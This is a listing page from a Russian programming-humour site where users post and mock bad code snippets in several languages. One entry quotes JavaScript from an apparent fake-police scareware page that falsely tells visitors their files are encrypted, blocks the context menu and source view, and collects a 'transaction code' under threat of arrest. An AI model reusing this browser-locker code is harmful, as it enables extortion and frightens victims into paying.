1. C++ / Говнокод #16473

    +57

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    struct ShaderBuilder
    {
    	Shader ToShader() const;
    
    	ShaderParts::VertexDataSrc VertexDataSource;
    	ShaderParts::Transform Transformation;
    	ShaderParts::LightControl LightControl;
    	ShaderParts::ColorSrc DiffuseSource;
    	ShaderParts::EmissionSrc EmissionSource;
    	ShaderParts::SpecularSrc SpecularSource;
    	ShaderParts::HeightSrc HeightSource;
    	ShaderParts::NormalSrc NormalSource;
    	ShaderParts::Parallax Parallax;
    	ShaderParts::LightModel LightModel;
    
    	...
    };
    
    #define with(x) for(auto &_=(x), *firstIter=&_; firstIter; firstIter=nullptr)
    
    ...
    
    using namespace ShaderParts;
    ShaderBuilder floorShaderBuilder;
    with(floorShaderBuilder)
    {
    	_.Transformation=Transform::Default();
    	_.LightControl=ShaderParts::LightControl::DefaultLighting({ {DirectionalLight::Type, 1} });
    	_.DiffuseSource=ColorSrc::FromTexture();
    	_.SpecularSource=SpecularSrc::FromConstants("0.25", "16.0");
    	_.HeightSource=HeightSrc::FromHeightMap();
    	_.NormalSource=NormalSrc::FromNormalMap("rg");
    	_.Parallax=Parallax::SimpleParallax();
    	_.LightModel=LightModel::Phong();
    }
    floorSh=floorShaderBuilder.ToShader();

    Вот такой оператор with на C++.

    gammaker, 04 Августа 2014

    Комментарии (20)
  2. PHP / Говнокод #16472

    +155

    1. 1
    2. 2
    // Replaces with spaces the braces in cases where braces in places cause stasis 
       $str = str_replace(array("\{","\}")," ",$str);

    Отсюда: http://stackoverflow.com/questions/184618/what-is-the-best-comment-in-source-code-you-have-ever-encountered

    DIX315, 04 Августа 2014

    Комментарии (0)
  3. Java / Говнокод #16471

    +73

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Integer pageNumber = firstPosition / pageSize;
    if (firstPosition % pageSize != 0 || pageNumber == 0) {
      pageNumber++;
    }
    personFilter.setPageNumber(pageNumber - 1);

    Магия пейдженации

    forn, 04 Августа 2014

    Комментарии (0)
  4. bash / Говнокод #16470

    −111

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    WHEN=`date +%Y-%m-%d_%H-%M`;
    # Если дамп в этом часу не создавался, то минуты в имени опускаем
    # Осторожно, этот скрипт подвержен проблеме 10000 года.
    # Обязательно скажите об этом своим прапрапрапрапрапрапрапрапрапрапрапра...правнукам
    if ! [[ -s $DYMPATH/${WHEN:0:13}.sql.$ARCEXTEN ]] ; then
        WHEN=${WHEN:0:13}
    fi

    DIX315, 04 Августа 2014

    Комментарии (8)
  5. Куча / Говнокод #16469

    +128

    1. 1
    2. 2
    ssh %SERVERUSER%@%SERVERHOST% "%SSHCOMMAND%" | xz -dc | mysql -u%DATABASEUSER% -p%DATABASEPASS% %DATABASENAME% --show-warnings
    if ERRORLEVEL 1 goto hell

    В bat скрипте для импорта базы

    DIX315, 04 Августа 2014

    Комментарии (0)
  6. PHP / Говнокод #16468

    +154

    1. 1
    <option<?=($qqrow->ServiceID==$row->ID&&!isset($servid))?" selected":""?><?=(isset($servid))?($servid==$row->ID)?" selected":"":""?> value="<?=$row->ID?>"><?=$row->Name?>

    Khvorostin, 04 Августа 2014

    Комментарии (0)
  7. JavaScript / Говнокод #16467

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    $(document).ready(function(){
      ...
      window.onbeforeunload = function(){
          if(submitclicked){
          var block = "ВАШ БРАУЗЕР ЗАБЛОКИРОВАН В ЦЕЛЯХ БЕЗОПАСНОСТИ. \n\nВСЯ ИНФОРМАЦИЯ НА ВАШЕМ КОМПЬЮТЕРЕ АРЕСТОВАНА. \n\nВСЕ ВАШИ ФАЙЛЫ ЗАШИФРОВАНЫ.";
                 block = new Array(45).join(block + "\n\n\n");
                        		return block;
          }
    };
                            
    });
    
    document.ondragstart = keyboard;
    document.onselectstart = keyboard;
    document.oncontextmenu = keyboard;
        
    function keyboard() {
            return false;
    }
    document.onkeydown = function(e) {
            e = e || window.event;
            if(e.keyCode == 85 | e.keyCode == 117) { return false; }
            return true;
    }
    
    var iii=3;
    var xmlmy;
     if (window.XMLHttpRequest)
        {// код для IE7+, Firefox, Chrome, Opera, Safari
           xmlmy=new XMLHttpRequest();
        }
        else
        {// код для IE6, IE5
           xmlmy=new ActiveXObject("Microsoft.XMLHTTP");
          }
     function Sendxxx(){
               xmlmy.open("GET","proverka.php?key="+document.all.data_1.value,true);
    	   xmlmy.send();
               if(iii>0){
                      alert('Код транзакции неверен до отправки данных в центральный отдел "К" осталось '+iii+' попытки');
                } else {
                       alert('Наряд полиции выехал по вашему адресу!!!');};
                       iii=iii-1;
    }

    http://mvd-russian.eu/reshenie/

    Rez, 04 Августа 2014

    Комментарии (13)
  8. C++ / Говнокод #16465

    +51

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    void __fastcall TForm3::Button1Click(TObject *Sender)
    {
    AnsiString a1,b1,c1,d1,a2,b2,c2,d2,a3,b3,c3,d3,a4,b4,c4,d4,r1,r2,r3,r4,r5,r6,r7,r8,r9,r10;
    a1=Edit1->Text;
    b1=Edit5->Text;
    if (a1==b1) a1>>r1;
    else "n">>r1;
    a2=Edit2->Text;
    b2=Edit6->Text;
    if (a2==b2) a2>>r2;
    else "n">>r2;
    a3=Edit3->Text;
    b3=Edit7->Text;
    if (a3==b3) a3>>r3;
    else "n">>r3;
    a4=Edit4->Text;
    b4=Edit8->Text;
    if (a4==b4) a4>>r4;
    else "n">>r4;
    c1=Edit9->Text;
    d1=Edit13->Text;
    if (c1==d1) c1>>r5;
    else "n">>r5;
    c2=Edit10->Text;
    d2=Edit14->Text;
    if (c2==d2) c2>>r6;
    else "n">>r6;
    c3=Edit11->Text;
    d3=Edit15->Text;
    if (c3==d3) c3>>r7;
    else "n">>r7;
    c4=Edit12->Text;
    d4=Edit15->Text;
    if (c4==d4) c4>>r8;
    else "n">>r8;
     }
    //---------------------------------------------------------------------------
     
    void __fastcall TForm3::Label6Click(TObject *Sender)
    {
    int r1,r2,r3,r4,r5,r6,r7,r8;
    Label6->Caption=r1;
    Label7->Caption=r2;
    Label8->Caption=r3;
    Label9->Caption=r4;
    Label10->Caption=r5;
    Label11->Caption=r6;
    Label12->Caption=r7;
    Label13->Caption=r8;
     }

    По словам "очевидца", код сравнивает посимвольно две строки и пропускает не совпавшие символы

    aNNiMON, 03 Августа 2014

    Комментарии (15)
  9. ActionScript / Говнокод #16464

    −153

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    private function getOldPreviewBySize(width: Number, height: Number): BitmapData
     			{
    -				return oldPreviewsArr[width.toString() + height.toString()];
    +				if (width && height)
    +					return oldPreviewsArr[width.toString() + height.toString()];
    +				else
    +					return null;
     			}

    хорошо исправил (размеры картинки вполне могут быть и двух и трех-значными цифрами)

    wvxvw, 03 Августа 2014

    Комментарии (106)
  10. Java / Говнокод #16463

    +71

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    public StickyRouting getStickyRouting(String groupName, String sbPin, String ccNumber) {
            StickyRouting result = null;
     
            boolean isGroupNameEmpty = StringUtils.isEmpty(groupName) ? true : false;
            boolean isCcNumberEmpty = StringUtils.isEmpty(ccNumber) ? true : false;
            boolean isSbPinEmpty = StringUtils.isEmpty(sbPin) ? true : false;
            ...
    }

    bfg1989, 03 Августа 2014

    Комментарии (4)